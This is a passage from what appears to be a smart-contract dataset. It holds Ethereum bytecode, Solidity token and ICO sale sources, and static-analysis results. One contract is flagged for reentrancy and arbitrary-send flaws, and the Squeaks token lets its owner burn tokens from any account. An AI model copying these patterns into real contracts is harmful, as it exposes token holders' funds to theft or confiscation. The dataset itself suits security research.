ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122be85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ac90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a8161250a565b61231484836125c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123719190612f4d565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123ce683635c9adc5dea0000060085461207190919063ffffffff16565b8210156123ed57600854683635c9adc5dea000009350935050506123f6565b81819350935050505b9091565b60008060008060008060008060006124178a600a54600b54612601565b92509250925060006124276120e8565b9050600080600061243a8e878787612697565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2f565b905092915050565b60008082846124bb9190613083565b905083811015612500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f790612e4d565b60405180910390fd5b8091505092915050565b60006125146120e8565b9050600061252b8284611ff690919063ffffffff16565b905061257f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ac90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125dc8260085461246290919063ffffffff16565b6008819055506125f7816009546124ac90919063ffffffff16565b6009819055505050565b60008060008061262d606461261f888a611ff690919063ffffffff16565b61207190919063ffffffff16565b905060006126576064612649888b611ff690919063ffffffff16565b61207190919063ffffffff16565b9050600061268082612672858c61246290919063ffffffff16565b61246290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b08589611ff690919063ffffffff16565b905060006126c78689611ff690919063ffffffff16565b905060006126de8789611ff690919063ffffffff16565b90506000612707826126f9858761246290919063ffffffff16565b61246290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273361272e84613002565b612fdd565b9050808382526020820190508285602086028201111561275257600080fd5b60005b858110156127825781612768888261278c565b845260208401935060208301925050600181019050612755565b5050509392505050565b60008135905061279b81613617565b92915050565b6000815190506127b081613617565b92915050565b600082601f8301126127c757600080fd5b81356127d7848260208601612720565b91505092915050565b6000813590506127ef8161362e565b92915050565b6000815190506128048161362e565b92915050565b60008135905061281981613645565b92915050565b60008151905061282e81613645565b92915050565b60006020828403121561284657600080fd5b60006128548482850161278c565b91505092915050565b60006020828403121561286f57600080fd5b600061287d848285016127a1565b91505092915050565b6000806040838503121561289957600080fd5b60006128a78582860161278c565b92505060206128b88582860161278c565b9150509250929050565b6000806000606084860312156128d757600080fd5b60006128e58682870161278c565b93505060206128f68682870161278c565b92505060406129078682870161280a565b9150509250925092565b6000806040838503121561292457600080fd5b60006129328582860161278c565b92505060206129438582860161280a565b9150509250929050565b60006020828403121561295f57600080fd5b600082013567ffffffffffffffff81111561297957600080fd5b612985848285016127b6565b91505092915050565b6000602082840312156129a057600080fd5b60006129ae848285016127e0565b91505092915050565b6000602082840312156129c957600080fd5b60006129d7848285016127f5565b91505092915050565b6000602082840312156129f257600080fd5b6000612a008482850161280a565b91505092915050565b600080600060608486031215612a1e57600080fd5b6000612a2c8682870161281f565b9350506020612a3d8682870161281f565b9250506040612a4e8682870161281f565b9150509250925092565b6000612a648383612a70565b60208301905092915050565b612a7981613198565b82525050565b612a8881613198565b82525050565b6000612a998261303e565b612aa38185613061565b9350612aae8361302e565b8060005b83811015612adf578151612ac68882612a58565b9750612ad183613054565b925050600181019050612ab2565b5085935050505092915050565b612af5816131aa565b82525050565b612b04816131ed565b82525050565b6000612b1582613049565b612b1f8185613072565b9350612b2f8185602086016131ff565b612b3881613339565b840191505092915050565b6000612b50602383613072565b9150612b5b8261334a565b604082019050919050565b6000612b73602a83613072565b9150612b7e82613399565b604082019050919050565b6000612b96602283613072565b9150612ba1826133e8565b604082019050919050565b6000612bb9601b83613072565b9150612bc482613437565b602082019050919050565b6000612bdc601d83613072565b9150612be782613460565b602082019050919050565b6000612bff602183613072565b9150612c0a82613489565b604082019050919050565b6000612c22602083613072565b9150612c2d826134d8565b602082019050919050565b6000612c45602983613072565b9150612c5082613501565b604082019050919050565b6000612c68602583613072565b9150612c7382613550565b604082019050919050565b6000612c8b602483613072565b9150612c968261359f565b604082019050919050565b6000612cae601783613072565b9150612cb9826135ee565b602082019050919050565b612ccd816131d6565b82525050565b612cdc816131e0565b82525050565b6000602082019050612cf76000830184612a7f565b92915050565b6000604082019050612d126000830185612a7f565b612d1f6020830184612a7f565b9392505050565b6000604082019050612d3b6000830185612a7f565b612d486020830184612cc4565b9392505050565b600060c082019050612d646000830189612a7f565b612d716020830188612cc4565b612d7e6040830187612afb565b612d8b6060830186612afb565b612d986080830185612a7f565b612da560a0830184612cc4565b979650505050505050565b6000602082019050612dc56000830184612aec565b92915050565b60006020820190508181036000830152612de58184612b0a565b905092915050565b60006020820190508181036000830152612e0681612b43565b9050919050565b60006020820190508181036000830152612e2681612b66565b9050919050565b60006020820190508181036000830152612e4681612b89565b9050919050565b60006020820190508181036000830152612e6681612bac565b9050919050565b60006020820190508181036000830152612e8681612bcf565b9050919050565b60006020820190508181036000830152612ea681612bf2565b9050919050565b60006020820190508181036000830152612ec681612c15565b9050919050565b60006020820190508181036000830152612ee681612c38565b9050919050565b60006020820190508181036000830152612f0681612c5b565b9050919050565b60006020820190508181036000830152612f2681612c7e565b9050919050565b60006020820190508181036000830152612f4681612ca1565b9050919050565b6000602082019050612f626000830184612cc4565b92915050565b600060a082019050612f7d6000830188612cc4565b612f8a6020830187612afb565b8181036040830152612f9c8186612a8e565b9050612fab6060830185612a7f565b612fb86080830184612cc4565b9695505050505050565b6000602082019050612fd76000830184612cd3565b92915050565b6000612fe7612ff8565b9050612ff38282613232565b919050565b6000604051905090565b600067ffffffffffffffff82111561301d5761301c61330a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308e826131d6565b9150613099836131d6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130ce576130cd6132ac565b5b828201905092915050565b60006130e4826131d6565b91506130ef836131d6565b9250826130ff576130fe6132db565b5b828204905092915050565b6000613115826131d6565b9150613120836131d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613159576131586132ac565b5b828202905092915050565b600061316f826131d6565b915061317a836131d6565b92508282101561318d5761318c6132ac565b5b828203905092915050565b60006131a3826131b6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f8826131d6565b9050919050565b60005b8381101561321d578082015181840152602081019050613202565b8381111561322c576000848401525b50505050565b61323b82613339565b810181811067ffffffffffffffff8211171561325a5761325961330a565b5b80604052505050565b600061326e826131d6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132a1576132a06132ac565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61362081613198565b811461362b57600080fd5b50565b613637816131aa565b811461364257600080fd5b50565b61364e816131d6565b811461365957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a95f3e06934d1865943d79141efb2a183e1e0269350e21b727664009687c1fd764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,924 |
0x5f7bb25e4c2a4faf808624584c936c4b02ce0a79 | /**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'SQUEAKS';
_symbol = 'SQU';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract Squeaks is
ERC20,
Ownable {
constructor () public
ERC20 () {
_mint(msg.sender,100000000000e18);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122031ddff5c25929afb0a68b0085525e94f179edcdeca4dc84a48f70d0eed38fbf764736f6c634300060a0033 | {"success": true, "error": null, "results": {}} | 9,925 |
0x85027a8167ca68f1c5e4e36b98ee9bc7be17b67f | /*
8888888 .d8888b. .d88888b. .d8888b. 888 888 888
888 d88P Y88b d88P" "Y88b d88P Y88b 888 888 888
888 888 888 888 888 Y88b. 888 888 888
888 888 888 888 "Y888b. 888888 8888b. 888d888 888888 .d8888b 88888b.
888 888 888 888 "Y88b. 888 "88b 888P" 888 d88P" 888 "88b
888 888 888 888 888 "888 888 .d888888 888 888 888 888 888
888 Y88b d88P Y88b. .d88P Y88b d88P Y88b. 888 888 888 Y88b. d8b Y88b. 888 888
8888888 "Y8888P" "Y88888P" "Y8888P" "Y888 "Y888888 888 "Y888 Y8P "Y8888P 888 888
Rocket startup for your ICO
The innovative platform to create your initial coin offering (ICO) simply, safely and professionally.
All the services your project needs: KYC, AI Audit, Smart contract wizard, Legal template,
Master Nodes management, on a single SaaS platform!
*/
pragma solidity ^0.4.21;
// File: contracts\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\ICOStartSale.sol
contract ICOStartSale is Pausable {
using SafeMath for uint256;
struct Period {
uint256 startTimestamp;
uint256 endTimestamp;
uint256 rate;
}
Period[] private periods;
mapping(address => bool) public whitelistedAddresses;
mapping(address => uint256) public whitelistedRates;
ERC20 public token;
address public wallet;
address public tokenWallet;
uint256 public weiRaised;
/**
* @dev A purchase was made.
* @param _purchaser Who paid for the tokens.
* @param _value Total purchase price in weis.
* @param _amount Amount of tokens purchased.
*/
event TokensPurchased(address indexed _purchaser, uint256 _value, uint256 _amount);
uint256 constant public MINIMUM_AMOUNT = 0.05 ether;
uint256 constant public MAXIMUM_NON_WHITELIST_AMOUNT = 5 ether;
/**
* @dev Constructor, takes initial parameters.
